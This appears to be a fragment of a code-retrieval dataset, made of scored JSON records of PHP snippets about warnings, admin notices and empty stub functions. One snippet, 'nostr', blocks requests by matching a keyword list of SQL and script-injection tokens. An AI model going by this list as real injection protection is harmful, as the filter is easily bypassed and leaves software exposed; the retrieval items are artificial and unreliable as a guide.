$content=paragraph(do_lang_tempcode('NO_ENTRIES'),'rfdsfsdf3t45');\n\n\t$echo=do_template('POPUP_HTML_WRAP',array('TITLE'=>do_lang_tempcode('CHOOSE_SAVED_WARNING'),'CONTENT'=>$content));\n\t$echo->evaluate_echo();\n}", "title": "" }, { "docid": "5d9d8a1a7cad48ce715ab2385fb27cf7", "score": "0.5478948", "text": "public function _replyToGetScripts() { return ''; }", "title": "" }, { "docid": "3dc04f5db2a4ffbe892cb2aaa9f9cc87", "score": "0.54215646", "text": "public abstract function getNoOutput();", "title": "" }, { "docid": "3c8226b4a1512590ed751e21c59c3747", "score": "0.5418807", "text": "public function getIgnoreWarnings()\n {\n return $this->ignore_warnings;\n }", "title": "" }, { "docid": "20c487447124792699480457af73a81b", "score": "0.5418744", "text": "public function get_nonces()\n {\n }", "title": "" }, { "docid": "375fefb8d641843b8fe0750fbb05221f", "score": "0.5384622", "text": "function send_nosniff_header()\n {\n }", "title": "" }, { "docid": "3a07852445d8ea059bc6fbcb39958575", "score": "0.53796715", "text": "public function disabled_message() {\n echo '<!-- ' . Yfp_Ganalytics_Basic_Common::COMMON_PLUGIN_NAME . ' is disabled in the admin panel. -->' . \"\\n\";\n }", "title": "" }, { "docid": "4bfa38de4fe21d02b9ec280654b0b806", "score": "0.5366685", "text": "function nostr($campo){\t\r\n\t\t$badHeads=array(\"SCRIPT\",\" AND \", \"+\" ,\"SELECT\", \"UPDATE\", \"INSERT\", \"DELETE\", \"<>\", \"*\",\"DROP\",\"WHERE\",\"\\'\",\" OR \",\"ALERT\",\"<?\",\"?>\",\"<%\",\"%>\",\"<SCRIPTS>\",\"</SCRIPTS>\",\"FRAME\",\"</NOFRAME>\",\"<NOSCRIPTS>\",\"</NOSCRIPTS>\",\"<IFRAME>\",\"</IFRAME>\");\r\n\t\t \r\n\t\t foreach($badHeads as $valor){ \r\n if(strpos(strtolower($campo), strtolower($valor)) !== false){ \r\n header(\"HTTP/1.0 403 Forbidden\"); \r\n exit; \r\n } \r\n\t\t }\r\n}", "title": "" }, { "docid": "70d50651617940504e342fe7d43c3713", "score": "0.53458625", "text": "public function getWarning()\n {\n return $this->warning;\n }", "title": "" }, { "docid": "450b4e1d69109f558898f09604f580f1", "score": "0.5345136", "text": "function warning() {\n\t\t\n\t\t\tglobal $blog_id; //get the current blog id\n\t\t\t\n\t\t\tif ( ( is_multisite() && ( $blog_id != 1 || ! current_user_can( 'manage_network_options' ) ) ) || ! current_user_can( 'activate_plugins' ) ) { //only display to network admin if in multisite\n\t\t\t\treturn;\n\t\t\t}\n\t\t\n\t\t\t//if there is a warning to display\n\t\t\tif ( get_option( 'bwps_intrusion_warning' ) == 1 ) {\n\t\t\t\n\t\t\t\tif ( ! function_exists( 'bit51_filecheck_warning' ) ) {\n\t\t\t\n\t\t\t\t\tfunction bit51_filecheck_warning(){\n\t\t\t\t\n\t\t\t\t\t\tglobal $plugname;\n\t\t\t\t\t\tglobal $plughook;\n\t\t\t\t\t\tglobal $plugopts;\n\t\t\t\t\t\t$adminurl = is_multisite() ? admin_url() . 'network/' : admin_url();\n\t\t\t\t\t\n\t\t\t\t\t echo '<div class=\"error\">\n\t\t\t\t <p>' . __( 'Better WP Security has noticed a change to some files in your WordPress installation. Please review the logs to make sure your system has not been compromised.', $plughook ) . '</p> <p><input type=\"button\" class=\"button \" value=\"' . __( 'View Logs', $plughook ) . '\" onclick=\"document.location.href=\\'?bit51_view_logs=yes&_wpnonce=' . wp_create_nonce('bit51-nag') . '\\';\"> <input type=\"button\" class=\"button \" value=\"' . __('Dismiss Warning', $plughook) . '\" onclick=\"document.location.href=\\'' . $adminurl . 'admin.php?bit51_dismiss_warning=yes&_wpnonce=' . wp_create_nonce( 'bit51-nag' ) . '\\';\"></p>\n\t\t\t\t\t </div>';\n\t\t\t\t \n\t\t\t\t\t}\n\t\t\t\t\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t//put the warning in the right spot\n\t\t\t\tif ( is_multisite() ) {\n\t\t\t\t\tadd_action( 'network_admin_notices', 'bit51_filecheck_warning' ); //register notification\n\t\t\t\t} else {\n\t\t\t\t\tadd_action( 'admin_notices', 'bit51_filecheck_warning' ); //register notification\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t//if they've clicked a button hide the notice\n\t\t\tif ( ( isset( $_GET['bit51_view_logs'] ) || isset( $_GET['bit51_dismiss_warning'] ) ) && wp_verify_nonce( $_REQUEST['_wpnonce'], 'bit51-nag' ) ) {\n\t\t\t\t\n\t\t\t\t//Get the options\n\t\t\t\tif ( is_multisite() ) {\n\t\t\t\t\t\t\n\t\t\t\t\tswitch_to_blog( 1 );\n\t\t\t\t\t\t\n\t\t\t\t\tdelete_option( 'bwps_intrusion_warning' );\n\t\t\t\t\t\t\n\t\t\t\t\trestore_current_blog();\n\t\t\t\t\t\t\n\t\t\t\t} else {\n\t\t\t\t\t\t\n\t\t\t\t\tdelete_option( 'bwps_intrusion_warning' );\n\t\t\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t//take them back to where they started\n\t\t\t\tif ( isset( $_GET['bit51_dismiss_warning'] ) ) {\t\t\t\t\n\t\t\t\t\twp_redirect( $_SERVER['HTTP_REFERER'], 302 );\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t//take them to the correct logs page\n\t\t\t\tif ( isset( $_GET['bit51_view_logs'] ) ) {\n\t\t\t\t\tif ( is_multisite() ) {\n\t\t\t\t\t\twp_redirect( admin_url() . 'network/admin.php?page=better-wp-security-logs#file-change', 302 );\n\t\t\t\t\t} else {\n\t\t\t\t\t\twp_redirect( admin_url() . 'admin.php?page=better-wp-security-logs#file-change', 302 );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\n\t\t}", "title": "" }, { "docid": "0f30ee2351bed4ca4748238c055e1804", "score": "0.5341561", "text": "public function noWarningsTest( AcceptanceTester $I ) {\n\t\t$I->dontSeeInSource( 'Warning: ' );\n\t}", "title": "" }, { "docid": "18cf1e21aa7b89d79e81e63e67d1005a", "score": "0.5326425", "text": "public function nonsupport() {\n\t}", "title": "" }, { "docid": "f5f925c836114d8e1b03c4991985a0dd", "score": "0.53215283", "text": "public function maybe_disable_style_notice() {\n\n\t\tif ( get_option( 'yourfitness_compile_all_styles' ) && yourfitness_tt_is_compiler_dev_mode() )\n\t\t\techo '<br /><span>' . esc_html__( 'Styles are not compiled in development mode.', 'your-fitness' ) . '</span>';\n\n\t}", "title": "" }, { "docid": "bdd72a0fb054c308a205017ceb083eec", "score": "0.5291944", "text": "public function getWarning() {\n return $this->warning;\n }", "title": "" }, { "docid": "fe1699bd6f72c98502b7eacce62553ae", "score": "0.5280779", "text": "public function isWarning()\n {\n return $this->getName() === 'warning';\n }", "title": "" }, { "docid": "c795128a488af688cc11aebdc9c48b2d", "score": "0.5276752", "text": "function maintenance_nag()\n {\n }", "title": "" }, { "docid": "c4ccc0643ebe9fdac76af707d235112a", "score": "0.5274213", "text": "function foobar_undocumented() {\n\treturn 123;\n}", "title": "" }, { "docid": "20f82ebd021456ac22665349c7d9005f", "score": "0.5268843", "text": "protected function outputInstallToolNotEnabledMessageIfNeeded() {}", "title": "" }, { "docid": "20f82ebd021456ac22665349c7d9005f", "score": "0.52685064", "text": "protected function outputInstallToolNotEnabledMessageIfNeeded() {}", "title": "" }, { "docid": "036809aae0f7cecb80041db76b7cb7bc", "score": "0.526413", "text": "public function noEditWarning()\n {\n\n $html = \"<div>\n <p class=\\\"text-center\\\">The Burn is pre-approved, approved, or disapproved and cannot be edited.</p>\n <button class=\\\"btn btn-default btn-block\\\" onclick=\\\"cancel_modal()\\\">Close</button>\n </div>\";\n\n return $html;\n }", "title": "" }, { "docid": "0e762efb6da7e9a3c1288021f598da91", "score": "0.526164", "text": "public function warning($message){ }", "title": "" }, { "docid": "2b98c9c12144748cade8ca6f567011f9", "score": "0.5233093", "text": "public function testWarning(\\unittest\\TestWarning $warning) {\n $this->status= false;\n $this->stats['warned']++;\n $this->writeFailure($warning);\n }", "title": "" }, { "docid": "8f3e008c243f4ae22e51185b73f8a63d", "score": "0.5214471", "text": "function pjsp_admin_notice() { \n\t\n\tglobal $pagenow, $typenow, $current_user;\n\tif (($pagenow == 'post.php') && ($typenow == 'client_projects')) { \n\t\t\n\t\t$user_id = $current_user->ID;\n\t\tif(!get_user_meta($user_id,'pjsp_ignore_notice')) { \n\t\t\n\t?>\n\n\t<div class=\"updated\">\n\t \n\t <p>I work on this plugin for free. If you find it useful <a href=\"https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=KEN9R2VBUSWVL\" target=\"_new\">please consider buying me a beer</a>. <strong>It will motivate me to update it more often</strong>. | <a href=\"?pjsp_nag_ignore=0\">Hide Notice</a></p>\n\n\t</div>\n\t\t<?php } \n\t\t} \n\t}", "title": "" }, { "docid": "2fd70481a73a66c4c4d4759648420a43", "score": "0.5209382", "text": "function PHPErro($ErrNo, $ErrMsg, $ErrFile, $ErrLine) {\n $CssClass = ($ErrNo == E_USER_NOTICE ? WS_INFOR : ($ErrNo == E_USER_WARNING ? WS_ALERT : ($ErrNo == E_USER_ERROR ? WS_ERROR : $ErrNo)));\n echo \"<p class=\\\"trigger {$CssClass}\\\">\";\n echo \"<b>Erro na Linha: #{$ErrLine} ::</b> {$ErrMsg}<br>\";\n echo \"<small>{$ErrFile}</small>\";\n echo \"<span class=\\\"ajax_close\\\"></span></p>\";\n\n if ($ErrNo == E_USER_ERROR):\n die;\n endif;\n}", "title": "" }, { "docid": "b836d193816f5ac87ab401b7310a8414", "score": "0.51986915", "text": "function site_admin_notice()\n {\n }", "title": "" }, { "docid": "ec9442cb0124ad6c3e6621b116fe0b7c", "score": "0.51816785", "text": "public function no_op() {\n\t\t\texit( 'Not permitted' );\n\t\t}", "title": "" }, { "docid": "e414ee795f46809c1adac7dbfb73f508", "score": "0.5177902", "text": "public function sayNo()\r\n {\r\n echo \"No :(\";\r\n }", "title": "" }, { "docid": "a5e960ae3f5e80639cc56cd570a7f8b2", "score": "0.5173096", "text": "public function doNothing(): string\n {\n return '';\n }", "title": "" }, { "docid": "6e22d7db33b63b11a8488b17e1d44ed6", "score": "0.51722246", "text": "function show_warning() {\n\t\t//If it's a free setup, Go back right away!\n\t\tif ( ! $this->validate_install() ) {\n\t\t\treturn false;\n\t\t}\n\n\t\tglobal $wpsmushit_admin;\n\t\t// Return. If we don't have any headers\n\t\tif ( ! isset( $wpsmushit_admin->api_headers ) ) {\n\t\t\treturn false;\n\t\t}\n\n\t\t//Show warning, if function says it's premium and api says not premium\n\t\tif ( isset( $wpsmushit_admin->api_headers['is_premium'] ) && ! intval( $wpsmushit_admin->api_headers['is_premium'] ) ) {\n\t\t\treturn true;\n\t\t}\n\n\t\treturn false;\n\t}", "title": "" }, { "docid": "db4e1cb4e62abe6d464a22d59f4115ef", "score": "0.5168184", "text": "public function getWarning()\n {\n return $this->get(DestinationInterface::SEVERITY_WARNING);\n }", "title": "" }, { "docid": "18deddb209c56594e33ad07dad6745ed", "score": "0.5161955", "text": "function pulcherrimum_javascript_detection()\n {\n echo \"<script>(function(html){html.className = html.className.replace(/\\bno-js\\b/,'js')})(document.documentElement);</script>\\n\";\n }", "title": "" }, { "docid": "0059b96f30f836d1d3c58b4d7c69af08", "score": "0.5125093", "text": "protected function setWarningsExist() {}", "title": "" }, { "docid": "6145690915b656b15c265a3542aa5040", "score": "0.5124419", "text": "protected function warn()\r\n {\r\n// header('Location: '.$this->warning_url);\r\n $this->send_header($this->warning_url);\r\n exit;\r\n }", "title": "" }, { "docid": "fb9e8d3a613901db7e1d7853813e96f4", "score": "0.512319", "text": "private static function q204()\n\t{\n\t\t$disabled = ini_get('disabled_functions');\n\t\treturn (!empty($disabled));\n\t}", "title": "" }, { "docid": "f4aeb151b5f70a63e607d3f5b97c746a", "score": "0.51181203", "text": "function nv()\n {\n global $validated;\n $validated = false;\n return vGetErr();\n }", "title": "" }, { "docid": "9fae58976ff4d6e6b877f0c506ed9e48", "score": "0.5107723", "text": "protected function no_response_recorded(): string {\n return html_writer::div(get_string('no_response_recorded', 'quiz_answersheets'), 'interactive-content-warning');\n }", "title": "" }, { "docid": "6030844e12e80819dd8e6b50204dfe7e", "score": "0.5096909", "text": "public function disabled_notice() {\n\n\t\techo '<div class=\"error fade\"><p>';\n\t\techo sprintf( esc_html__( '%sImportant:%s WooCommerce TM Extra Product Options requires WordPress %s or later.', 'woocommerce-tm-extra-product-options' ),\n\t\t\t'<strong>', '</strong>', THEMECOMPLETE_EPO_WP_VERSION );\n\t\techo '</p></div>' . \"\\n\";\n\n\t}", "title": "" }, { "docid": "474361958034f4407154c149fc2ee1d3", "score": "0.5088984", "text": "protected function interactive_content_warning(): string {\n return html_writer::div(get_string('interactive_content_warning', 'quiz_answersheets'), 'interactive-content-warning');\n }", "title": "" }, { "docid": "19a7b272a40392be8af6c8a12f010591", "score": "0.5083176", "text": "public function getMissingDbWarning()\n {\n $warning = '';\n if (!$this->checkDatabaseFile()) {\n $warning = $this->__('Hycube GeoIP extension: GeoIP.dat file is missing. Please, update the GeoIP database.');\n }\n\n return $warning;\n }", "title": "" }, { "docid": "d7adc5363417196db97f67ba5dcc7ebd", "score": "0.50757295", "text": "private function liveErrorMessage()\n {\n return 'The page you are trying to access does not exist.';\n }", "title": "" }, { "docid": "dfb5c3da25e3ffab29a7d01cc5a6f43c", "score": "0.50754637", "text": "function twentysixteen_javascript_detection() {\n\techo \"<script>(function(html){html.className = html.className.replace(/\\bno-js\\b/,'js')})(document.documentElement);</script>\\n\";\n}", "title": "" }, { "docid": "dfb5c3da25e3ffab29a7d01cc5a6f43c", "score": "0.50754637", "text": "function twentysixteen_javascript_detection() {\n\techo \"<script>(function(html){html.className = html.className.replace(/\\bno-js\\b/,'js')})(document.documentElement);</script>\\n\";\n}", "title": "" }, { "docid": "1ba4cc4152ab482a00ae545573c9266f", "score": "0.50682104", "text": "public function unknow()\r\n\t{\r\n\t\t$this->errorOutput(\"你搜索得方法不存在\");\r\n\t}", "title": "" }, { "docid": "4629108bbd1664f67a346e254ec3f318", "score": "0.5065612", "text": "public function getWarningList()\n {\n return array();\n }", "title": "" }, { "docid": "f0d1f9c9eb908bda81411abb7d11e350", "score": "0.50488377", "text": "public function noTypoScriptAction() {}", "title": "" }, { "docid": "94b4a92d6621e01b816a1e991d323d45", "score": "0.5047053", "text": "public function printScript() {\n\t\t// Create a nonce.\n\t\t$nonce = wp_create_nonce( 'aioseo-dismiss-deprecated-wordpress' );\n\t\t?>\n\t\t<script>\n\t\t\twindow.addEventListener('load', function () {\n\t\t\t\tvar dismissBtn\n\n\t\t\t\t// Add an event listener to the dismiss button.\n\t\t\t\tdismissBtn = document.querySelector('.aioseo-deprecated-wordpress-notice .notice-dismiss')\n\t\t\t\tdismissBtn.addEventListener('click', function (event) {\n\t\t\t\t\tvar httpRequest = new XMLHttpRequest(),\n\t\t\t\t\t\tpostData = ''\n\n\t\t\t\t\t// Build the data to send in our request.\n\t\t\t\t\tpostData += '&action=aioseo-dismiss-deprecated-wordpress-notice'\n\t\t\t\t\tpostData += '&nonce=<?php echo esc_html( $nonce ); ?>'\n\n\t\t\t\t\thttpRequest.open('POST', '<?php echo esc_url( admin_url( 'admin-ajax.php' ) ); ?>')\n\t\t\t\t\thttpRequest.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded')\n\t\t\t\t\thttpRequest.send(postData)\n\t\t\t\t})\n\t\t\t});\n\t\t</script>\n\t\t<?php\n\t}", "title": "" }, { "docid": "e708bfb5d152219d07f1346f78487aa0", "score": "0.5040581", "text": "public function hasWarning()\n {\n return $this->has(DestinationInterface::SEVERITY_WARNING);\n }", "title": "" }, { "docid": "46c5aa9ed380c6d4c770e1cd6760a650", "score": "0.50311136", "text": "public function setWarning($text = ''){\n if(!empty($text)){\n $this->addVar('WARNING', $text);\n }\n }", "title": "" }, { "docid": "b2f18876179fe0d9a26ba471f2d794de", "score": "0.5022715", "text": "function dumpJavascript()\r\n {\r\n //Do nothing yet\r\n }", "title": "" }, { "docid": "a7aa1df9ea1bddbbad2b7894cc49da57", "score": "0.50146556", "text": "public static function warning($object) {\n self::_write(self::WARNING, $object);\n }", "title": "" }, { "docid": "6ac929efdc58b8ab180ac44269b88cf3", "score": "0.50048375", "text": "function broken() { return TRUE; }", "title": "" }, { "docid": "4df4533ea4f3fe725211d474ba983493", "score": "0.49943954", "text": "public function getWarningList()\n {\n return [];\n }", "title": "" }, { "docid": "4df4533ea4f3fe725211d474ba983493", "score": "0.49943954", "text": "public function getWarningList()\n {\n return [];\n }", "title": "" }, { "docid": "ad88b5a5c7a14969921da7d2147abe9f", "score": "0.49891463", "text": "function wp_dashboard_php_nag()\n {\n }", "title": "" }, { "docid": "f7c30844036beb5517dfcd27fb141b24", "score": "0.49876794", "text": "function jeDisNon() {\n\t\t\t\t\techo \"<p class='reponse'>Essaies encore, ton père ne te pretera pas sa voiture si facilement !</p>\" ;\t\n\t\t\t\t}", "title": "" }, { "docid": "d6b1b19efb8358656ed172e850c8b1a0", "score": "0.498587", "text": "private function fetchMissingRemainingEffortWarning() {\n $tracker_links = implode(', ', $this->getLinksToChildTrackersWithoutRemainingEffort());\n \n if ($tracker_links) {\n $warning = $GLOBALS['Language']->getText('plugin_tracker', 'burndown_missing_remaining_effort_warning');\n return \"<li>$warning $tracker_links.</li>\";\n }\n }", "title": "" }, { "docid": "43f4e37f92e88190df67e907fa77fe39", "score": "0.4981378", "text": "public function getWarningList() {\n\t\treturn array();\n\t}", "title": "" }, { "docid": "5bed7b3983e149674b5f686355e19a78", "score": "0.49806568", "text": "function warn_exit($text)\n{\n // To break any looping of errors\n global $EXITING;\n if ((!is_null($EXITING)) || (!class_exists('Tempcode'))) {\n die_html_trace($text);\n }\n $EXITING = 1;\n\n $title = get_screen_title('ERROR_OCCURRED');\n\n $echo = new Tempcode();\n $echo->attach(do_template('WARN_SCREEN', array('_GUID' => '723ede24462dfc4cd4485851819786bc', 'TITLE' => $title, 'TEXT' => $text, 'PROVIDE_BACK' => false)));\n $css_url = 'install.php?type=css';\n $css_url_2 = 'install.php?type=css_2';\n $logo_url = 'install.php?type=logo';\n $version = strval(cms_version());\n $version .= (is_numeric(cms_version_minor()) ? '.' : ' ') . cms_version_minor();\n if (!array_key_exists('step', $_GET)) {\n $_GET['step'] = 1;\n }\n require_code('tempcode_compiler');\n $css_nocache = _do_template('default', '/css/', 'no_cache', 'no_cache', 'EN', '.css');\n if (running_script('restore')) {\n $out_final = do_template('RESTORE_HTML_WRAP', array(\n '_GUID' => '190e78523cee0b6782e1e09d73a700a7',\n 'CSS_NOCACHE' => $css_nocache,\n 'MESSAGE' => $echo,\n 'ERROR' => true,\n ));\n } else {\n $out_final = do_template('INSTALLER_HTML_WRAP', array(\n '_GUID' => '710e7ea5c186b4c42bb3a5453dd915ed',\n 'CSS_NOCACHE' => $css_nocache,\n 'DEFAULT_FORUM' => '',\n 'PASSWORD_PROMPT' => '',\n 'CSS_URL' => $css_url,\n 'CSS_URL_2' => $css_url_2,\n 'LOGO_URL' => $logo_url,\n 'STEP' => integer_format(intval($_GET['step'])),\n 'CONTENT' => $echo,\n 'VERSION' => $version,\n ));\n }\n $out_final->evaluate_echo();\n\n exit();\n}", "title": "" }, { "docid": "637263f57b1b9ed99ae954cbd1b8b932", "score": "0.49776173", "text": "public function getText()\n {\n return __($this->configuration->getWarningMessage());\n }", "title": "" }, { "docid": "41653c5b7addada379f1c0a1d7c746b8", "score": "0.49776068", "text": "function broken() { }", "title": "" }, { "docid": "2636e5201e37dc3247a566850a415dfc", "score": "0.49769047", "text": "public function hasSilencedf(){\r\n return $this->_has(27);\r\n }", "title": "" }, { "docid": "7511111518e27f2b9b44615a46c6bddd", "score": "0.4975125", "text": "public static function warning($string) {\n\t\treturn '<p class=\"warning\">'.$string.'</p>';\n\t}", "title": "" }, { "docid": "19d0e873f9e699682b71835ce2823462", "score": "0.49706474", "text": "public function pixel_base_code_noscript() {\n\t\t\t$pixel_id = self::get_pixel_id();\n\t\t\tif (\n\t\t\t(\n\t\t\t isset( self::$render_cache[ self::NO_SCRIPT_RENDER ] ) &&\n\t\t\t self::$render_cache[ self::NO_SCRIPT_RENDER ] === true\n\t\t\t) ||\n\t\t\t! isset( $pixel_id ) ||\n\t\t\t$pixel_id === 0\n\t\t\t) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tself::$render_cache[ self::NO_SCRIPT_RENDER ] = true;\n\n\t\t\treturn sprintf(\n\t\t\t\t'\n<!-- Facebook Pixel Code -->\n<noscript>\n<img height=\"1\" width=\"1\" style=\"display:none\" alt=\"fbpx\"\nsrc=\"https://www.facebook.com/tr?id=%s&ev=PageView&noscript=1\"/>\n</noscript>\n<!-- DO NOT MODIFY -->\n<!-- End Facebook Pixel Code -->\n ',\n\t\t\t\tesc_js( $pixel_id )\n\t\t\t);\n\t\t}", "title": "" }, { "docid": "b137ce49a79544cbc2fa9d6098676eb2", "score": "0.4965502", "text": "function no_update_notification() {\n\tif ( ! current_user_can( 'activate_plugins' ) ) {\n\t\tremove_action( 'admin_notices', 'update_nag', 3 );\n\t}\n}", "title": "" }, { "docid": "c194369e56b3b48063be2b146f2188e2", "score": "0.4964854", "text": "static function denied()\n {\n\n }", "title": "" }, { "docid": "4b54c07a8ff50e5c665d5377941e7346", "score": "0.49599054", "text": "public function getSiteMaintenanceMessage();", "title": "" }, { "docid": "50b96b7bbc2db7c1a9f612342e1fabd9", "score": "0.49595013", "text": "public function silent()\n {\n }", "title": "" }, { "docid": "2a8314bb57f5af1b486f682766ce7a54", "score": "0.49530438", "text": "public function warningOutput($string)\n {\n \n if($this->verbose === true) {\n \n CliColors::render($string, CliColors::FG_YELLOW, null);\n \n }\n \n $this->saveOutput($string);\n \n }", "title": "" }, { "docid": "c05c43ec32b3ccee872a371ac7a77c9a", "score": "0.4948968", "text": "public function showWarning($msg)\n {\n print \"\\tWARNING: \" . $msg . \"\\n\";\n }", "title": "" }, { "docid": "5501ddb957abac30dabfa96a87810b15", "score": "0.49451658", "text": "public function isWarning()\n {\n return $this->getHighestSeverity() == 'WARNING' ? true : false;\n }", "title": "" }, { "docid": "b393e4876df71997a920c29a9d77f768", "score": "0.49433747", "text": "function show_warning_ajax() {\n\t\t$show = $this->show_warning();\n\t\twp_send_json( intval( $show ) );\n\t}", "title": "" }, { "docid": "f399e1277455702e0f385d201ca8b522", "score": "0.49431077", "text": "function output_error() {\r\n return false;\r\n }", "title": "" }, { "docid": "12725321d0668f64217752ed9f08d027", "score": "0.4942584", "text": "public function no_error(){\n\t\treturn ibase_errcode();\n\t}", "title": "" }, { "docid": "b1caa9c3f69eac81ccd99a35a9b668dc", "score": "0.4942", "text": "function PHPErro($ErrNo, $ErrMsg, $ErrFile, $ErrLine) {\n echo \"<p>\";\n echo \"<b>Erro na Linha: #{$ErrLine} ::</b> {$ErrMsg}<br>\";\n echo \"<small>{$ErrFile}</small>\";\n echo \"<span ></span></p>\";\n\n if ($ErrNo == E_USER_ERROR):\n die;\n endif;\n}", "title": "" }, { "docid": "76420eb9b0953e20357e590522eaeca9", "score": "0.493058", "text": "public static function PrintReadOnlyWarning(){\r\n echo \"Warning: phar archive creation/modification is disabled in php.ini config. Please enable it to create or modify phar archives.\\n\\n\";\r\n }", "title": "" }, { "docid": "4ee8444718673fb1370cd360027de0f4", "score": "0.4926104", "text": "abstract public function NonQuery($sql, $blnWarnNoChanges);", "title": "" }, { "docid": "7e87db79436a034a8491d94c2a4f8676", "score": "0.4924079", "text": "private function _warning($info){\n $confirm = array(\n 'class' => 'alert-warning',\n 'head' => '警告!',\n 'body' => $info\n );\n $this->assign('confirmInfo',$confirm);\n }", "title": "" }, { "docid": "e96775f7ce7b40dead4995cab7e92ff8", "score": "0.49215835", "text": "function PHPErro($ErrNo, $ErrMsg, $ErrFile, $ErrLine) {\r\n $label = ($ErrNo == E_USER_NOTICE ? \"INFORMATIVO\" : ($ErrNo == E_USER_WARNING ? \"ALERTA\" : ($ErrNo == E_USER_ERROR ? \"ERRO\" : \"ERRO\"))); \r\n echo '<div class=\"alert alert-danger alert-dismissable\">\r\n <i class=\"fa fa-ban\"></i>\r\n <button type=\"button\" class=\"close\" data-dismiss=\"alert\" aria-hidden=\"true\">&times;</button>\r\n <big><b>'.$label.': </b></big> '.$ErrFile.' - <b><i>Linha: '.$ErrLine.' </i></b></big>\r\n </div>'; \r\n if ($ErrNo == E_USER_ERROR):\r\n die;\r\n endif;\r\n}", "title": "" }, { "docid": "00797a7634747e638653c6963d939526", "score": "0.49175757", "text": "public static function PrintReadOnlyError(){\r\n echo \"Error: phar archive creation/modification is disabled.\\n\";\r\n }", "title": "" }, { "docid": "5e861fe842e1263788a9e6be7832cdca", "score": "0.49173", "text": "function wpc_client_permissions_admin_notice() {\r\n echo \"<div id='permissions-warning' class='error fade'><p><strong>\" . __( 'You do not have permission to access that page.', WPC_CLIENT_TEXT_DOMAIN ) . \"</strong></p></div>\";\r\n }", "title": "" }, { "docid": "1b055bc4bbc55d08c24639490cb7e505", "score": "0.49168316", "text": "private function reportNoRestart() : void\n {\n $this->output($this->getLoadedMessage());\n if ($this->loaded !== null) {\n $text = \\sprintf('No restart (%s)', $this->getEnvAllow());\n if (!(bool) \\getenv($this->envAllowXdebug)) {\n $text .= ' Allowed by ' . ($this->modeOff ? 'xdebug.mode' : 'application');\n }\n $this->output($text);\n }\n }", "title": "" }, { "docid": "3871fa44610e67be120fc49e4472300f", "score": "0.49103007", "text": "public function getWarnings(): array;", "title": "" }, { "docid": "79d9e6ef3ee94c2ffa28772133ece68d", "score": "0.49071077", "text": "public function script($no = null)\n {\n if (!$this->_has_auth('system')) {\n return;\n }\n\n if (empty($no)) {\n return;\n }\n\n // server\n $server = $this->m_server->getOne($this->_ono(), $no);\n\n if (empty($server)) {\n return;\n }\n\n // fleet\n $fleet = $this->m_fleet->getOne($this->_ono(), $server->f_no);\n\n if (empty($fleet)) {\n return;\n }\n\n $this->_text($fleet->script);\n }", "title": "" }, { "docid": "f2c336e74bdabfbebf83fb7cc604e1f7", "score": "0.4906321", "text": "function hide_progress_bar_status() {\n\tglobal $snort_filename, $snort_filename_md5, $console_mode;\n\tob_flush();\n\tif(!$console_mode)\n\t\techo \"\\n<script type=\\\"text/javascript\\\">document.progressbar.style.visibility='hidden';\\n</script>\";\n}", "title": "" }, { "docid": "b7cd0ae880247819575ee2bf380b0696", "score": "0.4905973", "text": "function file_not_found($no = false, $str = false, $file = false, $line = false)\n{\n if ($no == E_STRICT) {\n return;\n }\n header('Content-Type: text/xml');\n printf(\"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>\\n\");\n printf(\"<document type=\\\"freeswitch/xml\\\">\\n\");\n printf(\" <section name=\\\"result\\\">\\n\");\n printf(\" <result status=\\\"not found\\\"/>\\n\");\n printf(\" </section>\\n\");\n if (!empty($no) && !empty($str) && !empty($file) && !empty($line)) {\n printf(\" <!-- ERROR: $no - ($str) on line $line of $file -->\\n\");\n }\n printf(\"</document>\\n\");\n exit();\n}", "title": "" } ]
22a2d9ca949fba944f086a4c81810213
Disable Updates Set the visual composer to run in theme mod
[ { "docid": "b8c6802f23b3fd17abe33dd60b1e7152", "score": "0.83750397", "text": "public function disable_updates() {\n \n if ( ! function_exists( 'vc_set_as_theme' ) || ! get_theme_mod( 'visual_composer_theme_mode', true ) ) {\n return;\n }\n\n // Set VC as theme mode and disable updater\n vc_set_as_theme( true );\n\n }", "title": "" } ]
[ { "docid": "7c3c24d8e0f2bd6c152d96db66494a13", "score": "0.68858457", "text": "function mts_disable_auto_update_theme( $update, $item ) {\n if ( $item->slug == MTS_THEME_NAME ) {\n return false;\n }\n return $update;\n}", "title": "" }, { "docid": "b45c10daad4ff5b0ae29024255d89956", "score": "0.6548996", "text": "protected function disable_auto_update() {\n\t\t\tadd_filter( 'auto_update_core', '__return_false', 9999 );\n\t\t\tadd_filter( 'auto_update_translation', '__return_false', 9999 );\n\t\t\tadd_filter( 'auto_core_update_send_email', '__return_false', 9999 );\n\t\t\tadd_filter( 'send_core_update_notification_email', '__return_false', 9999 );\n\t\t}", "title": "" }, { "docid": "fddfd6a12b299fb0409bd38d112bce34", "score": "0.6373385", "text": "function thistle_disable_wporg_theme_update( $r, $url ) {\n\n // If it's not a theme update request, bail.\n if ( strpos( $url, 'https://api.wordpress.org/themes/update-check/1.1/' ) !== 0 ) {\n return $r;\n }\n\n // Decode the JSON response\n $themes = json_decode( $r['body']['themes'] );\n\n // Remove the active parent and child themes from the check\n $parent = get_option( 'template' );\n $child = get_option( 'stylesheet' );\n\n unset( $themes->themes->$parent, $themes->themes->$child );\n\n // Encode the updated JSON response\n $r['body']['themes'] = json_encode( $themes );\n\n return $r;\n }", "title": "" }, { "docid": "81aae4f9bf8a756a6ba40c42e3ad2bbb", "score": "0.6254064", "text": "function jeg_vc_update(){\n if(function_exists('vc_set_as_theme')) {\n vc_set_as_theme();\n }\n\n if (class_exists('WPBakeryVisualComposerAbstract')) {\n require_once JMAGZ_PLUGIN_DIR . '/lib/vc/view.php';\n require_once JMAGZ_PLUGIN_DIR . '/lib/vc/element-class.php';\n vc_set_default_editor_post_types(array('cat_builder', 'page'));\n }\n}", "title": "" }, { "docid": "be83ece3ecaec21a6409ff15f6d2a580", "score": "0.62380356", "text": "function wpex_after_update() {\n\n\t// Define dir\n\t$dir = WPEX_FRAMEWORK_DIR .'updates/';\n\n\t// Get theme version\n\t$theme_version = WPEX_THEME_VERSION;\n\n\t// Get user 